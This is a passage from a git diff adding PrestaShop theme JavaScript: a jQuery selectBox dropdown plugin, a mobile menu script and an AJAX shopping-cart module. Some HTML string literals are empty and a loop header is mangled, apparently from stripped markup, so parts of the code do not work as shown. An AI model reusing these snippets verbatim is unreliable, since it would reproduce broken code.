!control.hasClass('selectBox-focus') ) control.focus(); + }) + .insertAfter(select); + + // Auto-height based on size attribute + if( !select[0].style.height ) { + + var size = select.attr('size') ? parseInt(select.attr('size')) : 5; + + // Draw a dummy control off-screen, measure, and remove it + var tmp = control + .clone() + .removeAttr('id') + .css({ + position: 'absolute', + top: '-9999em' + }) + .show() + .appendTo('body'); + tmp.find('.selectBox-options').html('
      • \u00A0
      • '); + optionHeight = parseInt(tmp.find('.selectBox-options A:first').html(' ').outerHeight()); + tmp.remove(); + + control.height(optionHeight * size); + + } + + disableSelection(control); + + } else { + + // + // Dropdown controls + // + + var label = $(''), + arrow = $(''); + + label.text( $(select).find('OPTION:selected').text() || '\u00A0' ); + + var options = getOptions(select, 'dropdown'); + options.appendTo('BODY'); + + control + .data('selectBox-options', options) + .addClass('selectBox-dropdown') + .append(label) + .append(arrow) + .bind('mousedown.selectBox', function(event) { + if( control.hasClass('selectBox-menuShowing') ) { + hideMenus(); + } else { + event.stopPropagation(); + // Webkit fix to prevent premature selection of options + options.data('selectBox-down-at-x', event.screenX).data('selectBox-down-at-y', event.screenY); + showMenu(select); + } + }) + .bind('keydown.selectBox', function(event) { + handleKeyDown(select, event); + }) + .bind('keypress.selectBox', function(event) { + handleKeyPress(select, event); + }) + .insertAfter(select); + + disableSelection(control); + + } + + // Store data for later use and show the control + select + .addClass('selectBox') + .data('selectBox-control', control) + .data('selectBox-settings', settings) + .hide(); + + }; + + + var getOptions = function(select, type) { + + var options; + + switch( type ) { + + case 'inline': + + + options = $('
          '); + + if( select.find('OPTGROUP').length ) { + + select.find('OPTGROUP').each( function() { + + var optgroup = $('
        • '); + optgroup.text($(this).attr('label')); + options.append(optgroup); + + $(this).find('OPTION').each( function() { + var li = $('
        • '), + a = $(''); + li.addClass( $(this).attr('class') ); + a.attr('rel', $(this).val()).text( $(this).text() ); + li.append(a); + if( $(this).attr('disabled') ) li.addClass('selectBox-disabled'); + if( $(this).attr('selected') ) li.addClass('selectBox-selected'); + options.append(li); + }); + + }); + + } else { + + select.find('OPTION').each( function() { + var li = $('
        • '), + a = $(''); + li.addClass( $(this).attr('class') ); + a.attr('rel', $(this).val()).text( $(this).text() ); + li.append(a); + if( $(this).attr('disabled') ) li.addClass('selectBox-disabled'); + if( $(this).attr('selected') ) li.addClass('selectBox-selected'); + options.append(li); + }); + + } + + options + .find('A') + .bind('mouseover.selectBox', function(event) { + addHover(select, $(this).parent()); + }) + .bind('mouseout.selectBox', function(event) { + removeHover(select, $(this).parent()); + }) + .bind('mousedown.selectBox', function(event) { + event.preventDefault(); // Prevent options from being "dragged" + if( !select.selectBox('control').hasClass('selectBox-active') ) select.selectBox('control').focus(); + }) + .bind('mouseup.selectBox', function(event) { + hideMenus(); + selectOption(select, $(this).parent(), event); + }); + + disableSelection(options); + + return options; + + case 'dropdown': + + options = $('
            '); + + if( select.find('OPTGROUP').length ) { + + select.find('OPTGROUP').each( function() { + + var optgroup = $('
          • '); + optgroup.text($(this).attr('label')); + options.append(optgroup); + + $(this).find('OPTION').each( function() { + var li = $('
          • '), + a = $(''); + li.addClass( $(this).attr('class') ); + a.attr('rel', $(this).val()).text( $(this).text() ); + li.append(a); + if( $(this).attr('disabled') ) li.addClass('selectBox-disabled'); + if( $(this).attr('selected') ) li.addClass('selectBox-selected'); + options.append(li); + }); + + }); + + } else { + + if( select.find('OPTION').length > 0 ) { + select.find('OPTION').each( function() { + var li = $('
          • '), + a = $(''); + li.addClass( $(this).attr('class') ); + a.attr('rel', $(this).val()).text( $(this).text() ); + li.append(a); + if( $(this).attr('disabled') ) li.addClass('selectBox-disabled'); + if( $(this).attr('selected') ) li.addClass('selectBox-selected'); + options.append(li); + }); + } else { + options.append('
          • \u00A0
          • '); + } + + } + + options + .data('selectBox-select', select) + .css('display', 'none') + .appendTo('BODY') + .find('A') + .bind('mousedown.selectBox', function(event) { + event.preventDefault(); // Prevent options from being "dragged" + if( event.screenX === options.data('selectBox-down-at-x') && event.screenY === options.data('selectBox-down-at-y') ) { + options.removeData('selectBox-down-at-x').removeData('selectBox-down-at-y'); + hideMenus(); + } + }) + .bind('mouseup.selectBox', function(event) { + if( event.screenX === options.data('selectBox-down-at-x') && event.screenY === options.data('selectBox-down-at-y') ) { + return; + } else { + options.removeData('selectBox-down-at-x').removeData('selectBox-down-at-y'); + } + selectOption(select, $(this).parent()); + hideMenus(); + }).bind('mouseover.selectBox', function(event) { + addHover(select, $(this).parent()); + }) + .bind('mouseout.selectBox', function(event) { + removeHover(select, $(this).parent()); + }); + + disableSelection(options); + + return options; + + } + + }; + + + var destroy = function(select) { + + select = $(select); + + var control = select.data('selectBox-control'); + if( !control ) return; + var options = control.data('selectBox-options'); + + options.remove(); + control.remove(); + select + .removeClass('selectBox') + .removeData('selectBox-control') + .removeData('selectBox-settings') + .show(); + + }; + + + var showMenu = function(select) { + + select = $(select); + var control = select.data('selectBox-control'), + settings = select.data('selectBox-settings'), + options = control.data('selectBox-options'); + if( control.hasClass('selectBox-disabled') ) return false; + + hideMenus(); + + // Auto-width + if( settings.autoWidth ) options.css('width', control.innerWidth()); + else if(options.innerWidth() < control.innerWidth()) { + options.css('width', control.innerWidth() - parseInt(options.css('padding-left')) - parseInt(options.css('padding-right'))) + } + + // Menu position + options.css({ + top: control.offset().top + control.outerHeight() - (parseInt(control.css('borderBottomWidth'))), + left: control.offset().left + }); + + // Show menu + switch( settings.menuTransition ) { + + case 'fade': + options.fadeIn(settings.menuSpeed); + break; + + case 'slide': + options.slideDown(settings.menuSpeed); + break; + + default: + options.show(settings.menuSpeed); + break; + + } + + // Center on selected option + var li = options.find('.selectBox-selected:first'); + keepOptionInView(select, li, true); + addHover(select, li); + + control.addClass('selectBox-menuShowing'); + + $(document).bind('mousedown.selectBox', function(event) { + if( $(event.target).parents().andSelf().hasClass('selectBox-options') ) return; + hideMenus(); + }); + + }; + + + var hideMenus = function() { + + if( $(".selectBox-dropdown-menu").length === 0 ) return; + $(document).unbind('mousedown.selectBox'); + + $(".selectBox-dropdown-menu").each( function() { + + var options = $(this), + select = options.data('selectBox-select'), + control = select.data('selectBox-control'), + settings = select.data('selectBox-settings'); + + switch( settings.menuTransition ) { + + case 'fade': + options.fadeOut(settings.menuSpeed); + break; + + case 'slide': + options.slideUp(settings.menuSpeed); + break; + + default: + options.hide(settings.menuSpeed); + break; + + } + + control.removeClass('selectBox-menuShowing'); + + }); + + }; + + + var selectOption = function(select, li, event) { + + select = $(select); + li = $(li); + var control = select.data('selectBox-control'), + settings = select.data('selectBox-settings'); + + if( control.hasClass('selectBox-disabled') ) return false; + if( li.length === 0 || li.hasClass('selectBox-disabled') ) return false; + + if( select.attr('multiple') ) { + + // If event.shiftKey is true, this will select all options between li and the last li selected + if( event.shiftKey && control.data('selectBox-last-selected') ) { + + li.toggleClass('selectBox-selected'); + + var affectedOptions; + if( li.index() > control.data('selectBox-last-selected').index() ) { + affectedOptions = li.siblings().slice(control.data('selectBox-last-selected').index(), li.index()); + } else { + affectedOptions = li.siblings().slice(li.index(), control.data('selectBox-last-selected').index()); + } + + affectedOptions = affectedOptions.not('.selectBox-optgroup, .selectBox-disabled'); + + if( li.hasClass('selectBox-selected') ) { + affectedOptions.addClass('selectBox-selected'); + } else { + affectedOptions.removeClass('selectBox-selected'); + } + + } else if( event.metaKey ) { + li.toggleClass('selectBox-selected'); + } else { + li.siblings().removeClass('selectBox-selected'); + li.addClass('selectBox-selected'); + } + + } else { + li.siblings().removeClass('selectBox-selected'); + li.addClass('selectBox-selected'); + } + + if( control.hasClass('selectBox-dropdown') ) { + control.find('.selectBox-label').text(li.text()); + } + + // Update original control's value + var i = 0, selection = []; + if( select.attr('multiple') ) { + control.find('.selectBox-selected A').each( function() { + selection[i++] = $(this).attr('rel'); + }); + } else { + selection = li.find('A').attr('rel'); + } + + // Remember most recently selected item + control.data('selectBox-last-selected', li); + + // Change callback + if( select.val() !== selection ) { + select.val(selection); + select.trigger('change'); + } + + return true; + + }; + + + var addHover = function(select, li) { + select = $(select); + li = $(li); + var control = select.data('selectBox-control'), + options = control.data('selectBox-options'); + + options.find('.selectBox-hover').removeClass('selectBox-hover'); + li.addClass('selectBox-hover'); + }; + + + var removeHover = function(select, li) { + select = $(select); + li = $(li); + var control = select.data('selectBox-control'), + options = control.data('selectBox-options'); + options.find('.selectBox-hover').removeClass('selectBox-hover'); + }; + + + var keepOptionInView = function(select, li, center) { + + if( !li || li.length === 0 ) return; + + select = $(select); + var control = select.data('selectBox-control'), + options = control.data('selectBox-options'), + scrollBox = control.hasClass('selectBox-dropdown') ? options : options.parent(), + top = parseInt(li.offset().top - scrollBox.position().top), + bottom = parseInt(top + li.outerHeight()); + + if( center ) { + scrollBox.scrollTop( li.offset().top - scrollBox.offset().top + scrollBox.scrollTop() - (scrollBox.height() / 2) ); + } else { + if( top < 0 ) { + scrollBox.scrollTop( li.offset().top - scrollBox.offset().top + scrollBox.scrollTop() ); + } + if( bottom > scrollBox.height() ) { + scrollBox.scrollTop( (li.offset().top + li.outerHeight()) - scrollBox.offset().top + scrollBox.scrollTop() - scrollBox.height() ); + } + } + + }; + + + var handleKeyDown = function(select, event) { + + // + // Handles open/close and arrow key functionality + // + + select = $(select); + var control = select.data('selectBox-control'), + options = control.data('selectBox-options'), + totalOptions = 0, + i = 0; + + if( control.hasClass('selectBox-disabled') ) return; + + switch( event.keyCode ) { + + case 8: // backspace + event.preventDefault(); + typeSearch = ''; + break; + + case 9: // tab + case 27: // esc + hideMenus(); + removeHover(select); + break; + + case 13: // enter + if( control.hasClass('selectBox-menuShowing') ) { + selectOption(select, options.find('LI.selectBox-hover:first'), event); + if( control.hasClass('selectBox-dropdown') ) hideMenus(); + } else { + showMenu(select); + } + break; + + case 38: // up + case 37: // left + + event.preventDefault(); + + if( control.hasClass('selectBox-menuShowing') ) { + + var prev = options.find('.selectBox-hover').prev('LI'); + totalOptions = options.find('LI:not(.selectBox-optgroup)').length; + i = 0; + + while( prev.length === 0 || prev.hasClass('selectBox-disabled') || prev.hasClass('selectBox-optgroup') ) { + prev = prev.prev('LI'); + if( prev.length === 0 ) prev = options.find('LI:last'); + if( ++i >= totalOptions ) break; + } + + addHover(select, prev); + keepOptionInView(select, prev); + + } else { + showMenu(select); + } + + break; + + case 40: // down + case 39: // right + + event.preventDefault(); + + if( control.hasClass('selectBox-menuShowing') ) { + + var next = options.find('.selectBox-hover').next('LI'); + totalOptions = options.find('LI:not(.selectBox-optgroup)').length; + i = 0; + + while( next.length === 0 || next.hasClass('selectBox-disabled') || next.hasClass('selectBox-optgroup') ) { + next = next.next('LI'); + if( next.length === 0 ) next = options.find('LI:first'); + if( ++i >= totalOptions ) break; + } + + addHover(select, next); + keepOptionInView(select, next); + + } else { + showMenu(select); + } + + break; + + } + + }; + + + var handleKeyPress = function(select, event) { + + // + // Handles type-to-find functionality + // + + select = $(select); + var control = select.data('selectBox-control'), + options = control.data('selectBox-options'); + + if( control.hasClass('selectBox-disabled') ) return; + + switch( event.keyCode ) { + + case 9: // tab + case 27: // esc + case 13: // enter + case 38: // up + case 37: // left + case 40: // down + case 39: // right + // Don't interfere with the keydown event! + break; + + default: // Type to find + + if( !control.hasClass('selectBox-menuShowing') ) showMenu(select); + + event.preventDefault(); + + clearTimeout(typeTimer); + typeSearch += String.fromCharCode(event.charCode || event.keyCode); + + options.find('A').each( function() { + if( $(this).text().substr(0, typeSearch.length).toLowerCase() === typeSearch.toLowerCase() ) { + addHover(select, $(this).parent()); + keepOptionInView(select, $(this).parent()); + return false; + } + }); + + // Clear after a brief pause + typeTimer = setTimeout( function() { typeSearch = ''; }, 1000); + + break; + + } + + }; + + + var enable = function(select) { + select = $(select); + select.attr('disabled', false); + var control = select.data('selectBox-control'); + if( !control ) return; + control.removeClass('selectBox-disabled'); + }; + + + var disable = function(select) { + select = $(select); + select.attr('disabled', true); + var control = select.data('selectBox-control'); + if( !control ) return; + control.addClass('selectBox-disabled'); + }; + + + var setValue = function(select, value) { + select = $(select); + select.val(value); + value = select.val(); + var control = select.data('selectBox-control'); + if( !control ) return; + var settings = select.data('selectBox-settings'), + options = control.data('selectBox-options'); + + // Update label + control.find('.selectBox-label').text( $(select).find('OPTION:selected').text() || '\u00A0' ); + + // Update control values + options.find('.selectBox-selected').removeClass('selectBox-selected'); + options.find('A').each( function() { + if( typeof(value) === 'object' ) { + for( var i = 0; i < value.length; i++ ) { + if( $(this).attr('rel') == value[i] ) { + $(this).parent().addClass('selectBox-selected'); + } + } + } else { + if( $(this).attr('rel') == value ) { + $(this).parent().addClass('selectBox-selected'); + } + } + }); + + if( settings.change ) settings.change.call(select); + + }; + + + var setOptions = function(select, options) { + + select = $(select); + var control = select.data('selectBox-control'), + settings = select.data('selectBox-settings'); + + switch( typeof(data) ) { + + case 'string': + select.html(data); + break; + + case 'object': + select.html(''); + for( var i in data ) { + if( data[i] === null ) continue; + if( typeof(data[i]) === 'object' ) { + var optgroup = $(''); + for( var j in data[i] ) { + optgroup.append(''); + } + select.append(optgroup); + } else { + var option = $(''); + select.append(option); + } + } + break; + + } + + if( !control ) return; + + // Remove old options + control.data('selectBox-options').remove(); + + // Generate new options + var type = control.hasClass('selectBox-dropdown') ? 'dropdown' : 'inline', + options = getOptions(select, type); + control.data('selectBox-options', options); + + switch( type ) { + case 'inline': + control.append(options); + break; + case 'dropdown': + control.find('.selectBox-label').text( $(select).find('OPTION:selected').text() || '\u00A0' ); + $("BODY").append(options); + break; + } + + }; + + + var disableSelection = function(selector) { + $(selector) + .css('MozUserSelect', 'none') + .bind('selectstart', function(event) { + event.preventDefault(); + }); + }; + + + // + // Public methods + // + + + switch( method ) { + + case 'control': + return $(this).data('selectBox-control'); + break; + + case 'settings': + if( !data ) return $(this).data('selectBox-settings'); + $(this).each( function() { + $(this).data('selectBox-settings', $.extend(true, $(this).data('selectBox-settings'), data)); + }); + break; + + case 'options': + $(this).each( function() { + setOptions(this, data); + }); + break; + + case 'value': + if( !data ) return $(this).val(); + $(this).each( function() { + setValue(this, data); + }); + break; + + case 'enable': + $(this).each( function() { + enable(this); + }); + break; + + case 'disable': + $(this).each( function() { + disable(this); + }); + break; + + case 'destroy': + $(this).each( function() { + destroy(this); + }); + break; + + default: + $(this).each( function() { + init(this, method); + }); + break; + + } + + return $(this); + + } + + }); + +})(jQuery); +$(document).ready(function(){ + // $("#quantity_wanted_p select").selectBox(); + // $("#layered_form select").selectBox(); + // $("#order-opc select").selectBox(); + // $("#days").selectBox(); + // $("#months").selectBox(); + // $("#years").selectBox(); + // $("#id_country").selectBox(); + $("p.select select,select.selectBox").selectBox(); +}); \ No newline at end of file diff --git a/themes/default/js/main.js b/themes/default/js/main.js new file mode 100755 index 0000000..411063d --- /dev/null +++ b/themes/default/js/main.js @@ -0,0 +1,43 @@ +window.requestAnimFrame = (function(){ + return window.requestAnimationFrame || + window.webkitRequestAnimationFrame || + window.mozRequestAnimationFrame || + function( callback ){ + window.setTimeout(callback, 1000 / 60); + }; +})(); + +$(function() { + var maxSize = 4, + delay = 50, + nbPart = 20; + + var $particle = $('').css({ + 'position': 'absolute', + 'z-index': '999' + }); + + $('html, body').on('mousemove', function(e) { + /*var $p = $particle.clone(true); + $('body').append($p.offset({ + left: e.pageX + 3, + top: e.pageY + 3 + })); + + var size = Math.random()*maxSize; + + var anim = function() { + $p.animate({ + 'left': e.pageX + (delay/2-Math.random()*delay), + 'top': e.pageY + (delay-Math.random()*delay), + 'height': size, + 'width': size + }, 600).queue(function() { + $(this).remove(); + }); + }; + + requestAnimFrame(anim);*/ + }); + +}); diff --git a/themes/default/js/modules/advmenu/menuJs.js b/themes/default/js/modules/advmenu/menuJs.js new file mode 100644 index 0000000..c66cada --- /dev/null +++ b/themes/default/js/modules/advmenu/menuJs.js @@ -0,0 +1,59 @@ +$(document).ready(function(){ + advancedDropdownMenu(); +}); + +function advancedDropdownMenu() +{ + $menuContainer = $('#mainmenu'); + $menuMobileBtn = $('#menu-mobile > a'); // Bouton pour ouvrir le menu mobile + + $menu = $('ul.menu-content'); // Le menu + $menuBtnClose = $menu.children('li.close-tab').children('a'); // Bouton pour fermer le menu mobile + $menuLinks = $menu.children('li'); // Les liens + + /* Mobile */ + $menuMobileBtn.on('click', function(e) { + e.preventDefault(); + + $('body').addClass('menu-open'); + $menuContainer.addClass('open'); + }); + + $menuBtnClose.on('click', function(e) { + e.preventDefault(); + + $childOpen = $menuContainer.find('.open').removeClass('open'); + + $('body').removeClass('menu-open'); + $menuContainer.removeClass('open'); + $('body').removeClass('menu-open'); + $menuContainer.removeClass('open'); + }) + + $menuLinks.on('click', function(e) { + $that = $(this); + $hasSubMenu = $that.find('.submenu').length ? true : false; + + $subMenuLinks = $that.find('li'); + $backLink = $that.find('.close-tab'); + + // Si on est bien en resolution mobile et qu'il y a des sous-menus, + if(isMobile && $hasSubMenu) + { + e.preventDefault(); + } + + $that.addClass('open'); + + $subMenuLinks.on('click', function(e) { + e.stopImmediatePropagation(); + }); + + $backLink.off('click').on('click', function(e) { + e.preventDefault(); + e.stopImmediatePropagation(); + + $that.removeClass('open'); + }); + }); +} \ No newline at end of file diff --git a/themes/default/js/modules/blockcart/ajax-cart-mobile.js b/themes/default/js/modules/blockcart/ajax-cart-mobile.js new file mode 100755 index 0000000..7ac8fa1 --- /dev/null +++ b/themes/default/js/modules/blockcart/ajax-cart-mobile.js @@ -0,0 +1,683 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Retrocompatibility with 1.4 +if (typeof baseUri === "undefined" && typeof baseDir !== "undefined") + baseUri = baseDir; + +//JS Object : update the cart by ajax actions +var ajaxCart = { + nb_total_products: 0, + + //override every button in the page in relation to the cart + overrideButtonsInThePage : function(){ + // alert('tgest'); + $('.bilanComplet .ui-btn').click(function(){ + // alert('test'); + $('.tiroirs').find('tr').each(function(){ + $(this).find('a.ajax_add_to_cart_button').click(); + }); + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + $('.commanderRituel').click(function(){ + $(this).parent().parent().find('tr').each(function(){ + $(this).find('a.ajax_add_to_cart_button').click(); + }); + // $(this).parent().parent().find('a.ajax_add_to_cart_button').click(); + }); + //for every 'add' buttons... + $('.submitAlone .ui-btn').unbind('click').click(function(){ + $(this).parent().prev().find('a').click(); + }); + $('.ajax_add_to_cart_button').unbind('click').click(function(){ + var idProduct = $(this).attr('rel').replace('nofollow', '').replace('ajax_id_product_', ''); + if ($(this).attr('disabled') != 'disabled') + ajaxCart.add(idProduct, null, false, this); + return false; + }); + //for product page 'add' button... + $('#add_to_cart input').unbind('click').click(function(){ + ajaxCart.add( $('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null); + return false; + }); + + //for 'delete' buttons in the cart block... + $('#cart_block_list .ajax_cart_block_remove_link').unbind('click').click(function(){ + // Customized product management + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var customizableProductDiv = $($(this).parent().parent()).find("div[id^=deleteCustomizableProduct_]"); + + if (customizableProductDiv && $(customizableProductDiv).length) + { + $(customizableProductDiv).each(function(){ + var ids = $(this).attr('id').split('_'); + if (typeof(ids[1]) != 'undefined') + { + customizationId = parseInt(ids[1]); + productId = parseInt(ids[2]); + if (typeof(ids[3]) != 'undefined') + productAttributeId = parseInt(ids[3]); + return false; + } + }); + } + + // Common product management + if (!customizationId) + { + //retrieve idProduct and idCombination from the displayed product in the block cart + var firstCut = $(this).parent().parent().attr('id').replace('cart_block_product_', ''); + firstCut = firstCut.replace('deleteCustomizableProduct_', ''); + ids = firstCut.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) != 'undefined') + productAttributeId = parseInt(ids[1]); + } + + var idAddressDelivery = $(this).parent().parent().attr('id').match(/.*_\d+_\d+_(\d+)/)[1]; + + // Removing product from the cart + ajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery); + return false; + }); + }, + + // try to expand the cart + expand : function(){ + if ($('#cart_block_list').hasClass('collapsed')) + { + $('#cart_block_summary').slideUp(200, function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_list').slideDown({ + duration: 450, + complete: function(){$(this).addClass('expanded').removeClass('collapsed');} + }); + }); + // toogle the button expand/collapse button + $('#block_cart_expand').fadeOut('slow', function(){ + $('#block_cart_collapse').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=expand' + }); + + + } + }, + // Fix display when using back and previous browsers buttons + refresh : function(){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&ajax=true&token=' + static_token, + success: function(jsonData) + { + ajaxCart.updateCart(jsonData); + } + }); + }, + + // try to collapse the cart + collapse : function(){ + + if ($('#cart_block_list').hasClass('expanded')) + { + $('#cart_block_list').slideUp('slow', function(){ + $(this).addClass('collapsed').removeClass('expanded'); + $('#cart_block_summary').slideDown(450, function(){ + $(this).addClass('expanded').removeClass('collapsed'); + }); + }); + $('#block_cart_collapse').fadeOut('slow', function(){ + $('#block_cart_expand').fadeIn('fast'); + }); + + // save the expand statut in the user cookie + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime() + }); + } + }, + + // Update the cart information + updateCartInformation : function (jsonData, addedFromProductPage) + { + ajaxCart.updateCart(jsonData); + + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $('.ajax_add_to_cart_button').removeAttr('disabled'); + }, + + // add a product in the cart via ajax + add : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){ + if (addedFromProductPage && !checkCustomizations()) + { + alert(fieldRequired); + return ; + } + emptyCustomizations(); + //disabled the button when adding to not double add if user double click + if (addedFromProductPage) + { + $('#add_to_cart input').attr('disabled', true).removeClass('exclusive').addClass('exclusive_disabled'); + $('.filled').removeClass('filled'); + } + else + $(callerElement).attr('disabled', true); + + if ($('#cart_block_list').hasClass('collapsed')) + this.expand(); + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): ''), + success: function(jsonData,textStatus,jqXHR) + { + // add appliance to whishlist module + if (whishlist && !jsonData.errors) + WishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]); + + // add the picture to the cart + var $element = $(callerElement).parent().parent().parent().find('a.product_image img,a.product_img_link img'); + if (!$element.length) + $element = $('#bigpic'); + var $picture = $element.clone(); + var pictureOffsetOriginal = $element.offset(); + + if ($picture.size()) + $picture.css({'position': 'absolute', 'top': pictureOffsetOriginal.top, 'left': pictureOffsetOriginal.left}); + + var pictureOffset = $picture.offset(); + if ($('#cart_block')[0] && $('#cart_block').offset().top && $('#cart_block').offset().left) + var cartBlockOffset = $('#cart_block').offset(); + else + var cartBlockOffset = $('#shopping_cart').offset(); + + // Check if the block cart is activated for the animation + if (cartBlockOffset != undefined && $picture.size()) + { + $picture.appendTo('body'); + $picture.css({ 'position': 'absolute', 'top': $picture.css('top'), 'left': $picture.css('left'), 'z-index': 4242 }) + .animate({ 'width': $element.attr('width')*0.66, 'height': $element.attr('height')*0.66, 'opacity': 0.2, 'top': cartBlockOffset.top + 30, 'left': cartBlockOffset.left + 15 }, 1000) + .fadeOut(100, function() { + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }); + } + else + ajaxCart.updateCartInformation(jsonData, addedFromProductPage); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert("Impossible to add the product to the cart.\n\ntextStatus: '" + textStatus + "'\nerrorThrown: '" + errorThrown + "'\nresponseText:\n" + XMLHttpRequest.responseText); + //reactive the button when adding has finished + if (addedFromProductPage) + $('#add_to_cart input').removeAttr('disabled').addClass('exclusive').removeClass('exclusive_disabled'); + else + $(callerElement).removeAttr('disabled'); + } + }); + }, + + //remove a product from the cart via ajax + remove : function(idProduct, idCombination, customizationId, idAddressDelivery){ + //send the ajax request to the server + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true', + success: function(jsonData) { + ajaxCart.updateCart(jsonData); + if ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc') + deleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery); + }, + error: function() {alert('ERROR: unable to delete the product');} + }); + }, + + //hide the products displayed in the page but no more in the json data + hideOldProducts : function(jsonData) { + //delete an eventually removed product of the displayed cart (only if cart is not empty!) + if ($('#cart_block_list dl.products').length > 0) + { + var removedProductId = null; + var removedProductData = null; + var removedProductDomId = null; + //look for a product to delete... + $('#cart_block_list dl.products dt').each(function(){ + //retrieve idProduct and idCombination from the displayed product in the block cart + var domIdProduct = $(this).attr('id'); + var firstCut = domIdProduct.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + //try to know if the current product is still in the new list + var stayInTheCart = false; + for (aProduct in jsonData.products) + { + //we've called the variable aProduct because IE6 bug if this variable is called product + //if product has attributes + if (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1])) + { + stayInTheCart = true; + // update the product customization display (when the product is still in the cart) + ajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct); + } + } + //remove product if it's no more in the cart + if (!stayInTheCart) + { + removedProductId = $(this).attr('id'); + if (removedProductId != null) + { + var firstCut = removedProductId.replace('cart_block_product_', ''); + var ids = firstCut.split('_'); + + $('#'+removedProductId).addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow', function(){ + $(this).remove(); + // If the cart is now empty, show the 'no product in the cart' message and close detail + if($('#cart_block dl.products dt').length == 0) + { + $("#header #cart_block").stop(true, true).slideUp(200); + $('#cart_block_no_products:hidden').slideDown(450); + $('#cart_block dl.products').remove(); + } + }); + }); + $('#cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '')).fadeTo('fast', 0, function(){ + $(this).slideUp('fast', function(){ + $(this).remove(); + }); + }); + } + } + }); + } + }, + + hideOldProductCustomizations : function (product, domIdProduct) + { + var customizationList = $('#customization_' + product['id'] + '_' + product['idCombination']); + if(customizationList.length > 0) + { + $(customizationList).find("li").each(function(){ + $(this).find("div").each(function() { + var customizationDiv = $(this).attr('id'); + var tmp = customizationDiv.replace('deleteCustomizableProduct_', ''); + var ids = tmp.split('_'); + if ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0])) + $('#' + customizationDiv).parent().addClass('strike').fadeTo('slow', 0, function(){ + $(this).slideUp('slow'); + $(this).remove(); + }); + }); + }); + } + var removeLinks = $('#cart_block_product_' + domIdProduct).find('a.ajax_cart_block_remove_link'); + if (!product.hasCustomizedDatas && !removeLinks.length) + $('#' + domIdProduct + ' span.remove_link').html(' '); + if (product.is_gift) + $('#' + domIdProduct + ' span.remove_link').html(''); + }, + + doesCustomizationStillExist : function (product, customizationId) + { + var exists = false; + + $(product.customizedDatas).each(function() { + if (this.customizationId == customizationId) + { + exists = true; + // This return does not mean that we found nothing but simply break the loop + return false; + } + }); + return (exists); + }, + + //refresh display of vouchers (needed for vouchers in % of the total) + refreshVouchers : function (jsonData) { + if (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0) + $('#vouchers').hide(); + else + { + $('#vouchers tbody').html(''); + + for (i=0;i 0) + { + var delete_link = ''; + if (jsonData.discounts[i].code.length) + delete_link = ''+delete_txt+''; + $('#vouchers tbody').append($( + '' + +' 1x' + +' '+jsonData.discounts[i].name+'' + +' -'+jsonData.discounts[i].price+'' + +' ' + delete_link + '' + +'' + )); + } + } + + $('#vouchers').show(); + } + + }, + + // Update product quantity + updateProductQuantity : function (product, quantity) { + + $('#cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + ' .quantity').fadeTo('fast', 0, function() { + 